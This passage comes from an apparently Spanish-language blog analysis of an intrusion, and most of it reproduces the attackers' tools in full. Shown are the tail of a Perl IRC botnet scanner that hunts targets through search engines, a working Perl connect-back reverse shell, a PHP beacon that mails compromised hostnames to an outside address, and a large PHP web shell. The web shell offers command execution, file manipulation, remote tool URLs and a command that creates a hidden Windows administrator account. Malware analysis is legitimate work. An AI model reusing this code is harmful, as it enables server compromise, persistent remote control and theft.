                my $tsite = $1;
                my @grep = links($tsite);
                open( $filez, ">>", $name );
                foreach my $tsite (@grep) {
                    print $filez "$tsite\n";
                }
                close $filez;
                push( @lst, @grep );
            }
        }
    return @lst;
    }
}     

sub dmoz () {
    my $key = $_[0];
    my $name = $_[1];
    my @lst;
    my $dmtest = ("http://search.dmoz.org/cgi-bin/search?search=".key($key));
    my $dmq = query($dmtest);
    if ($dmq =~ /No <b><a href=\"http:\/\/dmoz.org\/\">Open Directory Project<\/a><\/b> results found/){
        return @lst;
    }
    elsif ($dmq =~ /of (.+?)\)

/){
        my $ftot = $1;
        if ($ftot <= 20) {
            $max = 1;
        }
        else {
            my $to = $ftot / 20;
            if ($to =~ /(.+).(.+?)/){
                $uik = $1 * 20;
                $max = $uik +1;
            }
            elsif ($to =~ /[0-9]/) {
                my $to--;
                my $rej = $to * 20;
                $max = $rej +1;
            }
        }
    }
    for ($p=1;$p<=$max;$p += 20){
        my $dmozlink = ("http://search.dmoz.org/cgi-bin/search?search=".key($key)."&#038;utf8=1&#038;locale=it_it&#038;start=".$p);
        my $re = query($dmozlink);
        if ($re =~ /\">Next<\/a>/) {
            while($re =~ m/<a href=\"http:\/\/(.+?)\"/g) {
                my $tsite = $1;
                if ($tsite !~ /dmoz/){
                    my @grep = links($tsite);
                    open( $filez, ">>", $name );
                    foreach my $tsite (@grep) {
                        print $filez "$tsite\n";
                    }
                    close $filez;
                    push( @lst, @grep );
                }
            }
        }
    }
    return @lst;
}

sub webde () {
    my $key = $_[0];
    my $name = $_[1];
    my @lst;
    for $p(1..50){
        my $webdelink = ("http://suche.web.de/search/web/?pageIndex=".$p."&#038;su=".key($key)."&#038;y=0&#038;x=0&#038;mc=suche@web@navigation@zahlen.suche@web");
        my $re = query($webdelink);
        while($re =~ m/href=\"http:\/\/(.+?)\">/g) {
            my $tsite = $1;
            if ($tsite !~ /\/search\/web|web.de|\" class=\"neww\"/){
                my @grep = links($tsite);
                open( $filez, ">>", $name );
                foreach my $tsite (@grep) {
                    print $filez "$tsite\n";
                }
                close $filez;
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub einet () {
    my $key = $_[0];
    my $name = $_[1];
    my @lst;
    my $einetest = ("http://www.einet.net/view/search.gst?p=1&#038;k=".key($key)."&#038;s=0&#038;submit=Search");
    my $einet3st = query($einetest);
    if ($einet3st =~ /<span class=nPage>Page 1 of\s+(.+?)<\/span>/){
        my $totz = $1;
        for ($p=1;$p<=$totz;$p++){
            my $einetlink = ("http://www.einet.net/view/search.gst?p=".$p."&#038;k=".key($key)."&#038;s=0&#038;submit=Search");
            my $re = query($einetlink);
            while($re =~ m/<span class=url2>\s+(.+?)<\/span>/g) {
                my $tsite = $1;
                my @grep = links($tsite);
                open( $filez, ">>", $name );
                foreach my $tsite (@grep) {
                    print $filez "$tsite\n";
                }
                close $filez;
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub virgilio() {
    my $dork = $_[0];
    my $name = $_[1];
    my $vtest = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&#038;Cerca=&#038;lr=");
    my $re = query($vtest);
    if ($re =~ /<span>Controlla che tutte le parole siano state digitate correttamente<\/span>/) {
        return @list;
    }
    else {
        for ($i = 0;$i <= 800; $i += 10) {
            my $vlink = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&#038;filter=1&#038;site=&#038;lr=&#038;hits=10&#038;offset=".$i);
            my $re = query($vlink);
            while($re =~ m/<span><a href=\"http:\/\/(.+?)\">/g) {
                my $h = $1;
                if ($h !~ /microsoft|wikipedia/){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}

sub abacho() {
    my $dork = $_[0];
    my $name = $_[1];
    my $atest = ("http://search.abacho.com/it/abacho.it/index.cfm?q=".key($dork)."&#038;country=it&#038;x=0&#038;y=0");
    my $re = query($atest);
    if ($re =~ /We didn't find any results matching your query/) {
        return @list;
    }
    else {
        for ($i = 0;$i <= 2000; $i += 10) {
            my $alink = ("http://search.abacho.com/it/abacho.it/index.cfm?offset=".$i."&#038;poffset=0&#038;StartCounter=".$i."&#038;q=".key($dork)."&#038;a=&#038;b=&#038;country=it&#038;page=&#038;d_html=&#038;d_pdf=&#038;d_msdoc=&#038;d_xls=&#038;d_ppt=&#038;mesearchkey=&#038;cluster=&#038;coop=");
            my $re = query($alink);
            while ($re =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g) {
                my $h = $1;
                push(@sgrep,$h);
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}

sub remove() {
    my $file = $_[0];
    system("rm $file");
}

sub clean () {
    $dork = $_[0];
    if ( $dork =~ /allintexxt:/ ) {
        writ1("Cleaning Dork from Google Search Keys!");
        $dork =~ s/^allintexxt://g;
    }
    return $dork;
}

sub key() {
    my $dork = $_[0];
    $dork =~ s/ /\+/g;
    $dork =~ s/:/\%3A/g;
    $dork =~ s/\//\%2F/g;
    $dork =~ s/&#038;/\%26/g;
    $dork =~ s/\"/\%22/g;
    $dork =~ s/,/\%2C/g;
    $dork =~ s/\\/\%5C/g;
    return $dork;
}

sub links() {
    my @l;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/\1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push( @l, $link, $host, $hdir );
    return @l;
}

sub query() {
    $link = $_[0];
    my $req = HTTP::Request->new( GET => $link );
    my $ua = LWP::UserAgent->new();
    $ua->agent($User_Agent[rand(scalar(@User_Agent))]);
    $ua->timeout(4);
    my $response = $ua->request($req);
    return $response->content;
}

sub Agent(){
	my @ret = (
	"Microsoft Internet Explorer/4.0b1 (Windows 95)",
	"Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
	"Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
	"Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
	"Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
	"Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
	"Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
	"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
	"Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
	"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
	"Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
	"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
	"Microsoft Pocket Internet Explorer/0.6",
	"Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
	"MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
	"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
	"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
	"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
	"Advanced Browser (http://www.avantbrowser.com)",
	"Avant Browser (http://www.avantbrowser.com)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
	"Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
	"Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
	"Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
	"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
	"Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
	"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
	"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
	"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
	"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
	"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
	"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
	"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
	"Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
	"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
	"Mozilla/3.0 (OS/2; U)",
	"Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
	"Mozilla/4.61 (Macintosh; I; PPC)",
	"Mozilla/4.61 [en] (OS/2; U)",
	"Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
	"Mozilla/4.8 [en] (Windows NT 5.0; U)" );
return(@ret);
}

sub os() {
    my $site = $_[0];
    my $ret  = &#038;query($site);
    while ( $ret =~ m/uname -a:(.+?)\/g ) {
        $un = $1;
    }
    while ( $ret =~ m/os:(.+?)\/g ) {
        $os = $1;
    }
    while ( $ret =~ m/id:(.+?)\/g ) {
        $id1 = $1;
    }
    while ( $ret =~ m/free:(.+?)\/g ) {
        $free = $1;
    }
    while ( $ret =~ m/used:(.+?)\/g ) {
        $used = $1;
    }
    while ( $ret =~ m/total:(.+?)\/g ) {
        $all = $1;
    }
}

sub cgi_os() {
    my $site = $_[0];
    my $re = &#038;query($site);
    while ($re =~ m/^(.*)$/g) {
        $un_cgi = $1;
    }
}

sub unici {
    my @unici = ();
    my %visti = ();
    foreach my $elemento (@_) {
        $elemento =~ s/\/+/\//g;
        next if $visti{$elemento}++;
        push @unici, $elemento;
    }
    return @unici;
}

sub writ1 () {
    my $cont = $_[0];
    print $c0n "PRIVMSG $chan1 :$cont\n";
}

sub writ2 () {
    my $cont = $_[0];
    print $c0n "PRIVMSG $chan2 :$cont\n";
}

sub priv8 () {
    my $cont = $_[0];
    print $c0n "PRIVMSG $chan2 :$cont\n";
}

## PRIVATE
## Coded by BitchX and Osirys
</pre>
<p>Este script esta intersante, esta hecho para tomar comandos desde IRC para hacer scans masivos, infectar mas servers y agregarlos dentro de la botnet y reportarse (me encantaron sobre todo los passwords en los que podemos tomar control de la botnet nosotros mismos) asi tambien agregaron y ejecutaron los siguientes scripts:</p>
<p>http://matudesign.com/dh/imagenes/02.txt</p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

use IO::Socket;

#IRAN HACKERS SABOTAGE Connect Back Shell          

#code by:LorD

#We Are :LorD-C0d3r-NT                                           

#Email:LorD@ihsteam.com

#

#lord@SlackwareLinux:/home/programing$ perl dc.pl

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#Usage: dc.pl [Host] [Port]

#

#Ex: dc.pl 127.0.0.1 2121

#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#[*] Resolving HostName

#[*] Connecting... 127.0.0.1

#[*] Spawning Shell

#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121

#listening on [any] 2121 ...

#connect to [127.0.0.1] from localhost [127.0.0.1] 32769

#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#--==Systeminfo==--

#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux

#

#--==Userinfo==--

#uid=1001(lord) gid=100(users) groups=100(users)

#

#--==Directory==--

#/root

#

#--==Shell==--

#

$system	= '/bin/sh';

$ARGC=@ARGV; 

print "--== ConnectBack Backdoor Shell vs 1.0 by xiP / eu kero comprar meu carroOOOo..!!! ==-- \n\n"; 

if ($ARGC!=2) { 

   print "Usage: $0 [Host] [Port] \n\n"; 

   die "Ex: $0 127.0.0.1 2121 \n"; 

} 

use Socket; 

use FileHandle; 

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; 

connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; 

print "[*] Olhando o servidor...\n";

print "[*] ConectandO... $ARGV[0] \n"; 

print "[*] Spawning Shell \n";

print "[*] Connected to remote host \n";

SOCKET->autoflush(); 

open(STDIN, ">&#038;SOCKET"); 

open(STDOUT,">&#038;SOCKET"); 

open(STDERR,">&#038;SOCKET"); 

print "--== ConnectBack Backdoor vs 1.0 by by xiP / eu kero comprar meu carroOOOo..!!! ==--  \n\n"; 

system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;

echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); 

system($system);

#EOF
</pre>
<p>Ojo con el MAESTRO del system (me preugnto yo para que hacer tanto show y que pasa si no esta el command o peor eso se ve fuertisimo pero bueno no podemos pedir demaciado, jejejejeje</p>
<p>Y esta preciosura tambien:</p>
<pre name="code" class="prettiprint">
<? ob_clean(); ?>
 <?
 $cabeceras = "Content-type: text/html\r\n";
 $m1=$_SERVER['HTTP_HOST'];
 $m2=$_SERVER['REQUEST_URI'];
 $hostn=$_SERVER['HTTP_HOST'];
 $ran = rand(0,999);
 $ran = "$ran$ran";
 $asunto = "$ran # Vuln Owns";
 $arr =array($to,$message);
 $msg = "1nb0x1nh4: $m1.$m2 \nHostname: $hostn\n" . " " . '
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

  <meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">

</head>

<body>

';
 mail("math3us1m@hotmail.com", $asunto, $msg, $cabeceras);
 ?>

<?php
$id1 = system(id);
$un = @php_uname();
$os = @PHP_OS;

echo "3b1tchx3mailOK";
echo "id: $id1";
echo "os: $os";
echo "uname -a: $un";
exit;
</pre>
<p>Manda un email a math3us1m@hotmail.com avisandole del hack, mandemosles muchos y muchos correos de hack! jajajaja porque no?</p>
<p>Y para mantener el control usan: http://matudesign.com/dh/imagenes/cmd-shell.txt</p>
<pre name="code" class="prettyprint">
<html>
<head>
<meta http-equiv="Content-Language" content="pt-br">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="AoD">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<style type="text/css">
A:link {text-decoration:none}
A:visited {text-decoration:none}
A:hover {text-decoration:underline}
A:active {text-decoration:underline}
body,td {
 font-family: verdana;
 font-size: 8pt;
 background-color: #006600;
}
a{
 color: #0000FF;
 text-decoration: none;
}
a:hover {
 color: #FF0000;
 text-decoration: underline;
}
</style>

</head>
<body >
<center>
<h2> --== ?YOUNGEST? Hack Shell==-- </h2>

</center>
<?php

 @set_time_limit(0);

 $string = $_SERVER['QUERY_STRING'];
 $mhost = 'http://www.freewebs.com/segunogunyemi/derrr.jpg?';
 $host_all = explode("$mhost", $string);
 $s1 = $host_all[0];
 $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;

 $OS = @PHP_OS;
 $IpServer = '127.0.0.1';
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
 else { $SafeMode = "<i>$SafeMode</i>"; }

 $btname = 'backtool.txt';
 $bt = 'http://www.smashed-radio.com/forum/cmds.txt';
 $dc = 'http://www.smashed-radio.com/forum/cmds.txt';
 $newuser = '@echo off;net user Admin /add /expires:never
/passwordreq:no;net localgroup

"Administrators" /add Admin;net localgroup "Users" /del
Admin';
 $bn = 'http://www.smashed-radio.com/forum/cmds.txt';
// Java Script
 echo "<script type=\"text/javascript\">";

 echo "function ChMod(chdir, file) {";
 echo "var o = prompt('Chmod: - Contoh: 0777', '');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=chmod&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;chmod=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Rename(chdir, file, mode) {";
 echo "if (mode == 'edit') {";
 echo "var o = prompt('Ganti Nama File '+ file + ' menjadi:', '');";
 echo "}";
 echo "else {";
 echo "var o = prompt('Ganti Nama Folder '+ file + ' menjadi:', '');";
 echo "}";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=rename&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;newname=' + o + '&#038;mode=' + mode +\"\";";
 echo "}";
 echo "}";
 echo "function Copy(chdir, file) {";
 echo "var o = prompt('Copied for:', '/tmp/' + file);";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=copy&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;fcopy=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Mkdir(chdir) {";
 echo "var o = prompt('Nama Folder?', 'Folder_Baru');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=mkdir&#038;chdir=' + chdir +
'&#038;newdir=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "function Newfile(chdir) {";
 echo "var o = prompt('Nama File?', 'File_Baru.txt');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=newfile&#038;chdir=' + chdir +
'&#038;newfile=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "</script>";

 // End JavaScript

 /* Functions */
 function cmd($CMDs) {
 $CMD[1] = '';
 exec($CMDs, $CMD[1]);
 if (empty($CMD[1])) {
  $CMD[1] = shell_exec($CMDs);
 }
  elseif (empty($CMD[1])) {
  $CMD[1] = passthru($CMDs);
 }
 elseif (empty($CMD[1])) {
  $CMD[1] = system($CMDs);
 }
 elseif (empty($CMD[1])) {
  $handle = popen($CMDs, 'r');
  while(!feof($handle)) {
   $CMD[1][] .= fgets($handle);
  }
  pclose($handle);
 }
 return $CMD[1];
 }

if (@$_GET['chdir']) {
 $chdir = $_GET['chdir'];
} else {
  $chdir = getcwd()."/";
 }
if (@chdir("$chdir")) {
 $msg = "<font color=\"#008000\"> Pintu Masuk ke Direktori, OK!</font>";
} else {
 $msg = "<font color=\"#FF0000\">Error: Gagal masukkan ke folder!</font>";
 $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
}
 $chdir = str_replace(chr(92), chr(47), $chdir);

if (@$_GET['action'] == 'upload') {
 $uploaddir = $chdir;
 $uploadfile = $uploaddir. $_FILES['userfile']['name'];
 if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .

$_FILES['userfile']['name'])) {
 $msg = "<font color=\"#008000\"><font

color=\"#000080\">{$_FILES['userfile']['name']}</font>, Upload File Berjaya.

</font>";
 } else {
   $msg = "<font color=\"#FF0000\">Error: Upload File Gagal.</font>";
  }
}
elseif (@$_GET['action'] == 'mkdir') {
   $newdir = $_GET['newdir'];
   if (@mkdir("$chdir"."$newdir")) {
    $msg = "<font color=\"#008000\"><font
color=\"#000080\">{$newdir}</font>, folder

berhasil dibuat. </font>";
   } else {
      $msg = "<font color=\"#FF0000\">Error: Pembuatan folder
gagal.</font>";
     }
}
elseif (@$_GET['action'] == 'newfile') {
   $newfile = $_GET['newfile'];
   if (@touch("$chdir"."$newfile")) {
    $msg = "<font color=\"#008000\"><font
color=\"#000080\">{$newfile}</font>, berhasil

dibuat! </font>";
   } else {
      $msg = "<font color=\"#FF0000\">Error: Tak Boleh Buat File!</font>";
     }
}

elseif (@$_GET['action'] == 'del') {
    $file = $_GET['file']; $type = $_GET['type'];
    if ($type == 'file') {
     if (@unlink("$chdir"."$file")) {
      $msg = "<font color=\"#008000\"><font
color=\"#000080\">{$file}</font>, Berhasil

menghapus arsip (file)!</font>";
     } else {
        $msg = "<font color=\"#FF0000\">Error: Gagal menghapuskan File
(file)!</font>";
       }
    } elseif ($type == 'dir') {
       if (@rmdir("$chdir"."$file")) {
         $msg = "<font color=\"#008000\"><font
color=\"#000080\">{$file}</font>, Berhasil

menghapus folder!</font>";
       } else {
          $msg = "<font color=\"#FF0000\">Error: Gagal menghapuskan
folder!</font>";
         }
      }
}
elseif (@$_GET['action'] == 'chmod') {
    $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
    if (@chmod ("$file", $chmod)) {

     $msg = "<font color=\"#008000\">Chmod dari</font> <font

color=\"#000080\">{$_GET['file']}</font> <font color=\"#008000\">berubah
menjadi</font>

<font color=\"#000080\">$chmod</font> <font color=\"#008000\">:
Sukses!</font>";
    } else {
       $msg = '<font color=\"#FF0000\">Error: Gagal mengubah
chmod.</font>';
      }
}
elseif (@$_GET['action'] == 'rename') {
    $file = $_GET['file']; $newname = $_GET['newname'];
    if (@rename("$chdir"."$file", "$chdir"."$newname")) {
     $msg = "<font color=\"#008000\">Archive</font> <font
color=\"#000080\">{$file}</font>

<font color=\"#008000\">named for</font> <font
color=\"#000080\">{$newname}</font> <font

color=\"#008000\">successfully!</font>";
    } else {
       $msg = "<font color=\"#FF0000\">Error: Gagal menukar File.</font>";
      }
}
elseif (@$_GET['action'] == 'copy') {
   $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
   if (@copy("$file", "$copy")) {
    $msg = "<font color=\"#000080\">{$file}</font>, <font
color=\"#008000\">disalin

menjadi</font> <font color=\"#000080\">{$copy}</font> <font
color=\"#008000\">

Berhasil!</font>";
   } else {
      $msg = "<font color=\"#FF0000\">Error: Gagal menyalin </font> <font

color=\"#000000\">{$file}</font> <font color=\"#FF0000\">menjadi</font>
<font

color=\"#000000\">{$copy}</font></font>";
     }
}
/* Parte Atualiza 02:48 12/2/2006 */

elseif (@$_GET['action'] == 'cmd') {
 if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
 $cmd = stripslashes(trim($cmd));
 $result_arr = cmd($cmd);

 $afim = count($result_arr); $acom = 0; $msg = '';
 $msg .= "
<p style=\"color: #000000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Hasil : <b>".$cmd."</b>

";
 if ($result_arr) {
 while ($acom <= $afim) {
  $msg .= "
<p style=\"color: #008000;text-align: left;font-family:

'Lucida Console';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."

";
 $acom++;
  }
 }
 else {
 $msg .= "
<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Error: Gagal Menjalankan perintah.

";
 }
}
elseif (@$_GET['action'] == 'safemode') {
if (@!extension_loaded('shmop')) {
 echo "Loading... module</br>";

   if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
       @dl('php_shmop.dll');
   } else {
       @dl('shmop.so');
   }
}

if (@extension_loaded('shmop')) {
 echo "Module: <b>shmop</b> loaded!</br>";

 $shm_id = @shmop_open(0xff2, "c", 0644, 100);
 if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
 $data="\x00";
 $offset=-3842685;
 $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
 if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire
length of

data\n"; }
 if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for
deletion."; }
 echo passthru("id");
 shmop_close($shm_id);

} else { echo "Module: <b>shmop</b> tidak dimuat!</br>"; }
}

elseif (@$_GET['action'] == 'zipen') {
 $file = $_GET['file'];
 $zip = @zip_open("$chdir"."$file");
 $msg = '';
if ($zip) {

   while ($zip_entry = zip_read($zip)) {
       $msg .= "Name:               " . zip_entry_name($zip_entry) . "\n";
       $msg .= "Actual Filesize:    " . zip_entry_filesize($zip_entry) .
"\n";
       $msg .= "Compressed Size:    " .
zip_entry_compressedsize($zip_entry) . "\n";
       $msg .= "Compression Method: " .
zip_entry_compressionmethod($zip_entry) . "\n";

       if (zip_entry_open($zip, $zip_entry, "r")) {
           echo "File Contents:\n";
           $buf = zip_entry_read($zip_entry,
zip_entry_filesize($zip_entry));
           echo "$buf\n";

           zip_entry_close($zip_entry);
       }
       echo "\n";

   }

   zip_close($zip);

}
}
elseif (@$_GET['action'] == 'edit') {
 $file = $_GET['file'];
 $conteudo = '';
 $filename = "$chdir"."$file";
 $conteudo = @file_get_contents($filename);
 $conteudo = htmlspecialchars($conteudo);
 $back = $_SERVER['HTTP_REFERER'];
 echo "
<p align=\"center\">Editing {$file} ...

";
 echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse\" width=\"100%\" id=\"editacao\">";
 echo "
<tr>";
 echo "
<td width=\"100%\">";
 echo "
<form method=\"POST\"

action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
 echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<p align=\"center\">";
 print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family:
Verdana;

font-size: 8pt; border: 1px solid #000000\">{$conteudo}</textarea>

";
 echo "
<p align=\"center\">";
 echo "
<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\"  border:
1px solid

#000000\"> ";
 echo "
<input type=\"button\" value=\"Tutup\"

Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\"
name=\"B1\" style=\"

border: 1px solid #000000\"> ";
 echo "</form>

";
 echo "</td>

";
 echo "</tr>

";
 echo "</table>

";
}
elseif (@$_GET['action'] == 'save') {
  $filename = "$chdir".$_GET['file'];
  $somecontent = $_POST['S1'];
  $somecontent = stripslashes(trim($somecontent));
  if (is_writable($filename)) {
   @$handle = fopen ($filename, "w");
   @$fw = fwrite($handle, $somecontent);
   @fclose($handle);
   if ($handle &#038;&#038; $fw) {
    $msg = "<font color=\"#000080\">{$_GET['file']}</font>, <font

color=\"#008000\">berhasil diedit!</font>";
   }
 } else {
   $msg = "<font color=\"#000000\">{$_GET['file']},</font> <font
color=\"#FF0000\">tidak

bisa ditulisi!</font>";
  }
}

// Informa?s
 $cmdget = '';
 if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
 $cmdget = htmlspecialchars($cmdget);
 function asdads() {
 $asdads = '';
 if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
 if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
 if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
 if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
 if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
 return $asdads;
 }

echo "
<form method=\"POST\" name=\"cmd\"

action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
echo "
<fieldset style=\"border: 1px solid #000000; padding: 2\">";
echo "
<legend>Informasi</legend>

";
echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"8%\">";
